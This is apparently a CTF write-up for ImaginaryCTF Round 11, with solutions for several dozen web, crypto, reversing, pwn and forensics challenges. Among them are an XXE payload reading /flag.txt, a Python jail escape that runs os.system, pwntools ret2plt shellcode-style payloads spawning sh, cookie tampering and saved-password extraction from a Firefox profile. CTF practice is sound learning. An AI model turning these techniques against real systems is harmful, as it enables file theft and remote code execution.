ImaginaryCTF Round 11 Writeup

June 30th 2021

An entire month of challenges, you won't believe what happened on day 24!!?!

Imaginary CTF Round 11 writeups

Sanity check

... it's ictf{Round_11_Sanity_Check}


We get redirected to /0 immediatly. Look at the response headers, There's x-flag with a single character. Just go from 0 to 23 and take note of all the characters

from time import sleep
from requests import get
"".join([get(f"{i}").headers["X-Flag"] for i in range(24) if not sleep(1)])

and you get the flag ictf{f0ll0w_th3_numb3rs}

Find me

you grep, that's it grep -ao "ictf{.*}" find_me.txt and you get the flag ictf{gr3p_0r_4ny_t3xt_3d1t0r...Fl4g_f0rm4t_m4tt3rs}


You need to send the correct numbers, to do so you need to get the correct numbers, for this a template is provided and you just have to fill in the empty spots. To get the correct values for the blanks you just need to open the predict binary in {insert favourite decompilation tool}.

The first blanks is clearly libc (Since we want the function there to be called)

We see the seed is the time divided by 10, so we fill the second blank with time

The third blank is a red herring and doesn't need to be filled, or rather it needs to be left empty (Probably was intended that one should write what is there into a function and call that, but idk), same goes for the fourth blank

(One also needs to change to execute on the remote)

Gives us the flag ictf{exp3r1menting_w1th_ch@lleng3_f0rmat$_f0r_$c1ence}


You just enter enough data such that all the buffers are overflown (so above 500 bytes, didn't count though)


Add and Add

We get a script, first it generates a random character, then it takes the first character of the flag encrypts that with the random character, takes the next two characters, encrypts those with the random character and the encrypted first character, ... taking 2**i characters every round. We then get everything except the random value. But since that was only in the range of 0-255, we can just bruteforce that. Or we could be smart and just take the difference of i and the first byte, since we know the first character of the flag

with open("output.txt", "r") as f:
    d =
d = bytes.fromhex(d)
key = [d[0]-ord('i')]
x = b""
l = 1
while d:
    x += bytes([(a-b)%256 for a, b in zip(d[:l], key)])
    key += d[:l]
    d = d[l:]
    l *= 2

which gives us the flag ictf{4dd1ng_4nd_casc4d1ng_and_adding_4nd_c4scad1ng}


Unzip the word file (Yes unzip, it's just a zip), find the flag.txt file and get the flag ictf{4ll_0ff1c3_F1l3s_4r3_Z1p5}

Mission Impossible

This is a binary which will destruct itself when executed (Just remove write access to itself from the user running it I guess). But yeah, the goal is to not run the binary, so open it in some decompiler or disassembler and search....

Remember this cool command for later: objdump -M intel -d $1 | egrep "mov\s+.{2,3},0x\S\S$" | cut -f2 -d, | xxd -r -p | grep -o "ictf{.*}"

It will read all the mov into register which then get printed and greps the flag out of that, we get ictf{n3v3r_run_@_bin@ry_y0u_d0nt_+ru5t!}

A really cool button

You click the button, and you get redirected. If you have opened the network devtools and persist the logs there you see, that there were in fact two redirections in a row. Just look at the html after the first redirect (Alternatively use curl curl -X post


(Note that the whole zero width space stuff was a red herring, but you can use the javascript code of a past CTF to find what it says...)

small enough

we see that N1 and N2 share a factor (ps[2], or gcd(N1, N2) or just p), then we see that c1%p==c2%p. That means we can just calculate d=pow(e,-1,p-1) and do RSA decryption by doing pow(c1,d,p) to get the flag.



Oh god a windows executable, I wonder if there's a neat onliner to solve this. Yeah you guessed right, you can solve this with the same onliner as you could use for Mission Impossible. ictf{s1lly_0ld_bear}.

Alternatively you can search for the main function and see that it prints the flag in characters after getting the correct argument.

Tax Evasion

A classic python jail, but everytime we execute some import or open a file (or any action which gets audited and is not exec/compile nor from input()), we call exit(0). Well, we can just overwrite exit by doing exit=lambda x: x and then we can do whatever we want import os and then just cat the flag (or run sh if you like that more) os.system("cat flag.txt") to get ictf{i11_t@x_th3_stre3t_t@x_y0ur_s3@t_t@x_th3_he@t_+ax_y0ur_f33t}


We see the three heads which are called (2,1,3) with corresponding secrets or where to find them. There's also the hint that the dimensions might be off, so we use to get the full image and the link next to a 4. Together with the shares inside the metadata and after the actual image data (Extradata) and the one hidden in the LSB we have five shares and just need to find the coordinate for each of the five. Now use some online shamir solver or some lagrange polynomial interpolation solver (Or use the manual hard way like me and implement lagrange yourself).

gets us the flag ictf{gh1dr@h} (You had to wrap it yourself)


The program xors your input with the program code and checks if it's a fixed value, so just take the program code and xor it with the value to get the flag ictf{wh@t_g00d_i5_@_10ck_!f_th3_l0ck_!s_th3_k3y?}


Well, we just have to call a function with some parameters, that's doable...

io = start()

payload = cyclic(52) # buffer overflow
payload += p32(0x80491f6)
payload += p32(0x80491f6)  
payload += p32(0xdeadbeef) # args on the stack
payload += p32(0xba5eba11)
payload += p32(0x1337c0de)


get flag ictf{y0ur_ord3r_of_3_@rgs_15_c0ming_r1ght_up}

Textbook RSA 2: Timmy the Lonely Oracle

Get the encrypted flag, send that squared, get the flag squared and just take the square root. ictf{y0u_m@d3_+!mmy_cry_y0u_3v!1_h@ck3r}


This challenge revolved around xml, don't be confused by the -no-ent flag, because that means to enable entities, so we'll just use those

wget -O - --post-data='<!DOCTYPE b[<!ELEMENT b ANY><!ENTITY a SYSTEM "/flag.txt">]><b>&a;</b>'

Since the website just renders the xml and entities are enabled, we can just make a SYSTEM entity and read any file with that.



Same binary as for "Eyes on the Stack" but this time we need a shell, so I just call gets and read to bss and then call system with that in the bss as argument, then send sh to exec that (I could also directly read the flag if I knew where it was before)

io = start()
payload = b"0"*52
payload += p32(exe.plt["gets"])     # read from stdin
payload += p32(exe.plt["system"])   # call system(bss)
payload += p32(exe.bss())           # arg for gets
payload += p32(exe.bss())           # arg for system
io.recvuntil("flag!\n")             # wait for input
io.sendline(payload)                # send payload
io.sendline(b"sh\0")    # start sh --> system(gets()) --> system("sh")
io.sendline(b"ls")      # first command for sh

There in flag2.txt we find ictf{yay!_y0u_c@n_pwn_32b1t_bin@r13$}


We get a firefox profile directory, use firefox_decrypt to get the password and look at places.sqlite with sqlite3 SELECT * FROM moz_places;, to get and XbHptE7dhJ and get the flag from the pastebin ictf{th3_f0x_0f_f1r3_s33s_a11}

Go Fish!

We open the binary, see that it's go, so we decompile the main.main function and see that if some conditions are met it prints the flag. Now we can either look at the conditions or the flag printing to get the flag.

The flag printing is rather straightforward as the Fprint function takes the address it prints, but here it only prints 4 characters, so just take all the characters you need. Alternatively you can look at the comparisons before the printing of the flag to see that you need to input Go Fish! and after that Do you have any flags? to get the flag ictf{g0_g0_g@dg3t_g3t_m3333_a11_th3_f1@gzz!}

How Long is it?

You get a png and but all the size of the sections are nulled out. So we just need to calculate the distance of one of the sections to the next (and subtract 8 because the size itself as well as the CRC don't count).

from pwn import *
with open("How_Long_Is_It.png", "rb") as f:
    data =
x = data.find(b"IDAT")
while (y:=data[x+4:].find(b"IDAT")) > 0:
    l = y-8 # IDAT+crc+len

and voilĂ , decoding the lengths yields the flag, no viewing necessary ictf{R3m3mb3r__Th3r3_1s_N0_L3ngth}


We open the binary, look at the checkFlag function and see that is just subtracts from the previous value of the flag the new value xored with a constant. To reverse this, we just add the expected value:

y=int("".join([hex(ord(i))[2:] for i in "ictf"]),16)
for i in dat:
    f += y.to_bytes(4, 'big')
    y = (y+0x1337c0de^i)%(2**32)

The integer values are extracted from the binary and had their endianess corrected by hand. I'm sure there's better ways to do this, but meh. ictf{!_@m_wh@t_!_@m_@nd_+h@ts_@11_+h@t_!_@m}


This took me longer than I'd like to admit. You only have to see that a character could not be encoded to itself, then take all the encryptions you have and look which character doesn't appear in each row.

with open("output.txt") as f:
    d = [x[:-1] for x in f.readlines()]
avail = ["ABCDEFGHIJKLMNOPQRSTUVWXYZ" for _ in range(len(d[0]))]
for l in d:
    for i,c in enumerate(l):
        avail[i] = avail[i].replace(str(c), "")
print("".join([x[0] if len(x)==1 else d[0][i] for i,x in enumerate(avail)]))

and we get the flag ICTF{THE_MISSING_MYSTERY}

A little break

This challenge was way too hard and I absolutely would have never solved this ever...

ICICLEs Facing the Sky

The icicle specification makes a reappearance once again, this time we need to reverse engineer a program written in icicle. Well, I can't say too much here without writing ten pages, but I noticed that there's a recursive call which removes the first and last char, checks that they're the same but not the same character as before. So all we need to do is to insert three palindromes without any letters appearing twice in a row (Except for the center ones).


Transistors: More Than Meets The Eye

We open the image, maybe identify the XOR-gate depicted. Then look only at the lowest bit of each channel and see "7 bytes", so a xor with 7 bytes it is. Next we binwalk the image and see that there is some extra data at offset 0x52 which is base64 encoded. So we take that and look at the data. Now there's only two possibilities: It's text or it's a file. Since I didn't see a 7-byte key to make all characters printable, I decided that it was probably a file and since files contain a lot of zeroes I looked at repeating patterns and got 49 49 2a 00 49 44 33 as the xor key which gives us a jpeg and a flag ictf{m4gic_byt3s_F7W!}

3ll1pt1c R1n95

The task here is to get the amount of points on the curve, for that we need to calculate p. We are given two points for which we know that one is double the other. Now using the point doubling formulas we can get a formula without any unknowns except for p, which is equal to 0 modulo p. After much playing around with the formulas I got 4*y1*y1*(2*x1+x2)*(x1-x2)*(x1-x2)-(2*(y1+y2)*y1)**2 factoring the result gave us 12654803915193133223^4 thanks to Which is our p, now we can calculate a by doing a=((y1+y2)*2*y1/(x1-x2)-3*x1*x1)%(p**4) and then afterwards b by doing (y1*y1-x1*x1*x1-a*x1)%(p**4) then we construct the curve by doing E = EllipticCurve(GF(p**4), [a, b]) and call the function to get the order and with that the xor key to decrypt the flag ictf{HaHa_m@7h3mag1c5_g0_brrrrrrr}


We try to run the client script, see that it errors out if we don't have the solver class with the solve method, luckily there seems to be a class encoded in base64 inside the class. Let's just use that one :). Afterwards I just imported that solver into the and instead of asking for input just call solve and send that to the server to get the flag


There were alternative ways (A total of 5) to get the flag (Modifying the cookie to get an easy maze, crashing the server and decrypting the flag or writing your own maze solver would've all worked as well)

Beep Boop Bakery

We read the description, see that robots are banned, so obviously we go to /robots.txt and find two interesting pages. On one there are all the codes and on the other is a hash. Both change every five seconds. There's a hint that it's a sha256, so we compute the hash of all discount codes and find the one with matching hash as the other page, then we use that code together with a cookie to identify ourselves to be a baker.

from requests import get, post
from hashlib import sha256
s=get("").text.split("Menu Item Code:")[1].split("</p>")[0].strip()
y=[sha256(i.encode()).hexdigest() for i in x]
x,=[a for a,i in zip(x,y) if i == s]
print(post("",data={"discount_code":x},cookies={"customer_type": "baker"}).text)

We could've also randomly tried some codes, but the server has a rate limit and only so many requests go through, so hashing and then taking one is the best approach. Just make sure that you start the script after it just changes, else you might run into issues. (probably not though) ictf{y@y_n0w_1_c@N_3a+_mY_d3l1ciOU$_C0okIe5!!!}

Do Some Arithmetic

We get a complex file with a lot of big numbers and weird math. We see that our flag is signed by getting a random number, raising g2 to that and doing modulo q. Then taking that result as an exponent to g modulo p and then modulo q. Then both the previous results get used in the formula to calculate the signature.

Luckily for us the multiplicative order of g2 modulo q is only 10794, so we can easily bruteforce the value of k. After filling an array ks with all values of g2^i and hm to be the hash of the predefined text, we can just brute force the flag like this:

for i in ks: 
    r = int(pow(int(g),int(i),p))%q 
    x = int((s*int(i)-mh)*pow(r,-1,q)) 
    y = unhex(hex(x)[2:]) 
    if b'ictf' in y: 

to get the flag ictf{unsafe_nonces_strike_again}

Frozen exploit

This time we need to exploit a program written in ICICLe. There are two new instructions, one puts the flag into memory, the other gets a random value which is used as a stack canary. Since there was this stack canary I immediatly thought of a stack exploit. The input is put onto the stack reversed and xored with a key which increases as you go along the string. The amount of spots on the stack is 40 and then the canary and then the return address. First I needed to determine the values I need to write before doing anything. So the canary was first, luckily the seed for the random was in the interpreter, so we can easily find the 23 required. Then we need the index of the flag printing statement, this is also easily done by modifying the interpreter slightly and checking if the current line is equal to the flag printing one and then print the length of the instruction array, so we get x0x8b, now to put all into the exploit, we need to xor the values by their position in the string (40 and 41 respectively) and then reverse that. As key we just use 0, so we can use the 40 and 41 without adding anything: python -c 'print(chr(139^41)+chr(23^40)+"b"*40+"\n0")' | nc 7331

And with that we get our final flag: ictf{an_1C3_c0ld_buff3r_0v3rfl0w}


I was told there was also the flag ictf{my_gift_to_you_is_this_:_an_easy_chall}, but that would be for a really easy challenge, don't see any of those unsolved in this writeup....

< How2BufferFlow | ImaginaryCTF Round 12 Writeup >